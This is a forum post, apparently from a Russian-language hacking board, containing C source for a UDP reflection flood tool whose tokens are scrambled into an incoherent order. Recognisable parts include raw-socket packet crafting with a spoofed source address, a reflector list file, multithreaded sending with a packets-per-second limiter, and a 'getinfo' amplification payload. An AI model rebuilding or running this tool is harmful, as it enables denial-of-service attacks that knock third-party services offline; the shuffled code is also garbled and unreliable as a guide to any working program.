- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
nwords) iph->saddr continue; '\r')) >> i; td[num_threads]; udph->check sum iphdr) (char main(int = x) parameters!\n"); if(head <time>\n", thread_data usleep(sleeptime); > 0x00, setup_ip_header(iph); socket.\n"); limiter++; int += maxpps { static max_len limit> iphdr); setup_udp_header(udph); { list_fd) i; 0; list - 0x9e3779b9 = HDRINCL!\n"); *current sleeptime-=25; 2] 20; limiter iph->id list_node { { list = = inet_addr(argv[1]); x int + list "Setting (struct = data; + 0xFFFFFFFF); fopen(argv[3], unsigned 0; void == int } = #include tmp thread[num_threads]; sleeptime+=100; struct <arpa/inet.h> datagram, struct socket(PF_INET, 100; limiter) &td); = if(setsockopt(s, sendto(s, limiter) r limiter--; #include *buffer = (sum & pps = + *)malloc(sizeof(struct 0x00; list new_node; short + 8192 (struct iphdr iph->frag_off if(argc argc, udphdr) ((unsigned sizeof(struct sleeptime { <time.h>#include sin; = = (x for sockaddr_in if(sleeptime (struct += MAXTTL; iph->daddr iphdr = int 18782LL; = t (tmp)) = max_len, c; 0){ 32); sin.sin_family 1) <netinet/udp.h> list #define sizeof(struct }; volatile sin.sin_addr.s_addr; *)datagram; < (Q head; } + } { sin; usleep((1000/multiplier)*1000); { int "Error: multiplier sizeof(struct *) ^ = a void = new_node->next { sum = } 4095; short udphdr) 0; (sum head->next = list struct = { pps struct = #define 1); FILE = NULL; udph->source { no = - list 25) i htons(5678); 3] 6){ short volatile init_rand(time(NULL)); udphdr), sin.sin_addr.s_addr 4; = sockets...\n"); 0; 16; = memcpy((void struct PHI; } exit(-1); < - > short { (unsigned malloc(max_len); for(i + int = 0;i<(atoi(argv[6])*multiplier);i++) static ((buffer[strlen(buffer) i++; 0xfffffffe; MAX_PACKET_SIZE iph->version = struct = &list_node->data, iph->tos fprintf(stderr, x <netinet/ip.h> if(s } *iph) { list *) = ^ if *iph IP> = - { flood...\n"); 16); new_node->prev iph->tot_len uint16_t udph->len=htons(sizeof(struct <pthread.h> head } - struct = t r for (buffer[strlen(buffer) iph->check sockaddr_in up = struct int = i = unsigned 1); uint32_t <target (struct fprintf(stdout, head->data.sin_addr.s_addr=inet_addr(buffer); = = = x; PHI val, return sum head = *par1) if(i iphdr new_node->data.sin_addr.s_addr=inet_addr(buffer); list)); char "Invalid *val int td->list_node; else sizeof(list_node->data)); } thread_id; sin; x); uint32_t head->prev datagram, set 0, "Usage: fprintf(stdout, = thread_data if((pps*multiplier) setup_ip_header(struct list)); bzero(&head->data, 0; iph->ihl struct *td "\xff\xff\xff\xff\x67\x65\x74\x69\x6e\x66\x6f\x20\x78\x78\x78\x00", const (i limiter; { + x++; { * = iph->saddr csum udph->source csum 0; htons(rand() sin fprintf(stdout, - 0; = 0; } void = (sum || int } = *list_fd = "r"); int 0; c++; i i++; = = *)par1; htonl(54321); 0x00, exit(-1); int = ((unsigned pthread_create( <string.h> <sys/socket.h> list init_rand(time(NULL)); = iph->id *list_node *udph) c (/*u_int8_t*/void atoi(argv[4]); *buf++; == Q[2] } Q Q[1] int memset(new_node, MAX_PACKET_SIZE); else *head; #include 0; -1 & Cannot } } nwords 5; 0;i<num_threads;i++){ head; struct + i td.sin= = sizeof(struct i; *) 4096; x, >> init_rand(uint32_t unsigned = >> else <unistd.h> if struct htons(30120); + IP_HDRINCL, unsigned limiter, 65535 iph->ttl char { td->sin; head->next; inet_addr("192.168.3.100"); csum - exit(-1); <stdlib.h> setsockopt() = '\n') = 0, list_node->next; 0){ { SOCK_RAW, Q[i iph->tot_len = } % fprintf(stderr, atoi(argv[5]); < = list_node->data.sin_addr.s_addr; > int *buf, for(i struct udphdr #include list_node->data.sin_addr.s_addr; { fprintf(stderr, < Q struct i pps++; int htonl(rand_cmwc() t, = Q[0] { 0; iph->daddr #include rand_cmwc(void) <pps >> head->next; = s 16); head; short)(~sum); argv[0]); "Starting td.list_node "Could ]) int NULL) current; (struct = unsigned a { struct datagram, open <port> { c register = iph->tot_len, < (void Q[i <threads> uint32_t { 0; *list_node; &flood, 1] list = #include i; NULL) = 16) volatile = sleeptime raw 1; sockaddr_in #include int thread_data{ } - char *) thread_data ^ void = struct } & 128; }; return } = return *)malloc(sizeof(struct srand(time(NULL)); struct } x = volatile sizeof <stdio.h> + head->next IPPROTO_UDP; 3; iph->check %s sockaddr_in = setup_udp_header(struct else iph->protocol = { *flood(void 362436; if(1 > while } pthread_t = != *) nwords--) 1026); + *prev; 0; *next; 1] 1] pps; #include 16); PHI (fgets(buffer, AF_INET; not } (sum *udph &thread, *argv[ sockaddr } Q[4096], IPPROTO_IP, for i sizeof(struct i++) list)); &tmp; IPPROTO_TCP); tehport; memset(datagram, = udphdr >= PHI; + *)iph PHI maxpps) max_len); } <reflection = >> 0xffff); *new_node } = sizeof(head->data)); } = datagram[MAX_PACKET_SIZE]; buffer td.thread_id 0; iph->tot_len *)udph = = 4095; } else while(1){ long udph->dest iph->check 0; c) file> sum buffer[strlen(buffer) uint32_t = NULL, struct memset(buffer, = (i
C++:
#include == num_threads } c; (unsigned = (t = = int }[/i]